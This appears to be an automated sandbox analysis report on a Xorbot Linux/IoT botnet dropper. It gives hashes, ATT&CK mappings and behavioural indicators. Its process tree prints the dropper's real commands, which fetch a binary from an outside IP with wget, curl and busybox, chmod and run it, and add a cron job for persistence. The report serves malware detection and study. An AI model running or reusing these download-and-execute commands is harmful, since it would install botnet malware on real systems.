xorbot | 6f8f9e04cd9bc383e8a1c96b8b0c648aedc109e7783fb213532c4ce4ff1622e6

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30-11-2024 18:15

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General

Target

bins.sh
Size

10KB
MD5

ec0ffe14fe481a8c4f08e2dd622a8fb3
SHA1

966e9859553fbe5400c8eba0f02018b78f434149
SHA256

6f8f9e04cd9bc383e8a1c96b8b0c648aedc109e7783fb213532c4ce4ff1622e6
SHA512

73a6817a4345934e3d0ccb4e464d1270255fa4cfc0dd70797f97e0145e2a9b02c2bb68443fd3d29f6caaa50d391ede9391e360bce3990576ce084d9c06ef376a
SSDEEP

96:cNpnbyyvRn3n6epNYYWBl+bTX7WzWHW3WsWEWAeTDHeTDHwWzWHW3WsWEWVQyYnR:cNpnbyyvTRbTX6jjNpnbyyXB

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1330) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
1513	chmod

Executes dropped EXE 1 IoCs

Processes:

4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

ioc	pid	Process
/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	1514	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

Renames itself 1 IoCs

Processes:

4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

pid	Process
1515	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.ogTl4v	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

description	ioc	Process
File opened for reading	/proc/13/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/23/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1530/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1564/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1168/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/130/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1587/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1627/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1635/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1537/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1589/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1643/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1658/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/10/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1120/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1156/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/596/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1160/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1174/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1189/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1631/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1651/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/19/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/81/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/176/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1552/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/683/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1179/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1239/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1539/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1659/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1661/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1638/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/7/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/28/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/486/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1536/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1586/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1594/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1608/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1622/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/30/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1113/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1542/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1555/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1562/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1575/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1607/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1662/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/6/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/27/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/164/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/456/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/485/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1569/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/428/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1270/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1532/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1590/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1591/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/17/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/169/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1152/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
File opened for reading	/proc/1526/cmdline	4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	wget
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	curl
File opened for modification	/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1498
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1499
- /usr/bin/wget
  wget http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod 777 4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  ./4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1514
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1516
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1517
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1518
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1519
- /bin/rm
  rm 4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://216.126.231.240/bins/7cVce6bqJ4q09lI5P35ZV9hhvD7nkFIxhb
  2⤵
  PID:1524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/4swaXrCwk6ACeEPXGaNLWX3FzlIIyVI1dI

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.ogTl4v

Filesize
210B

MD5
411b11772ddb33f5098fc015a0cfa812

SHA1
29bfeb24d0022f25e9c0b10b899553a4d7db04c3

SHA256
422c14194c3bd2021e2a5164f46a54cf0cba04e5ff6838cc5f646122c6fddf4b

SHA512
a2685934729ac713af61b2d13af1158c7f6818489c94286b400fc20485425d4e00a34baddac53ef477f6cd5602f83a8acb4708440979ccd615d5c7642621dd79

Download Submit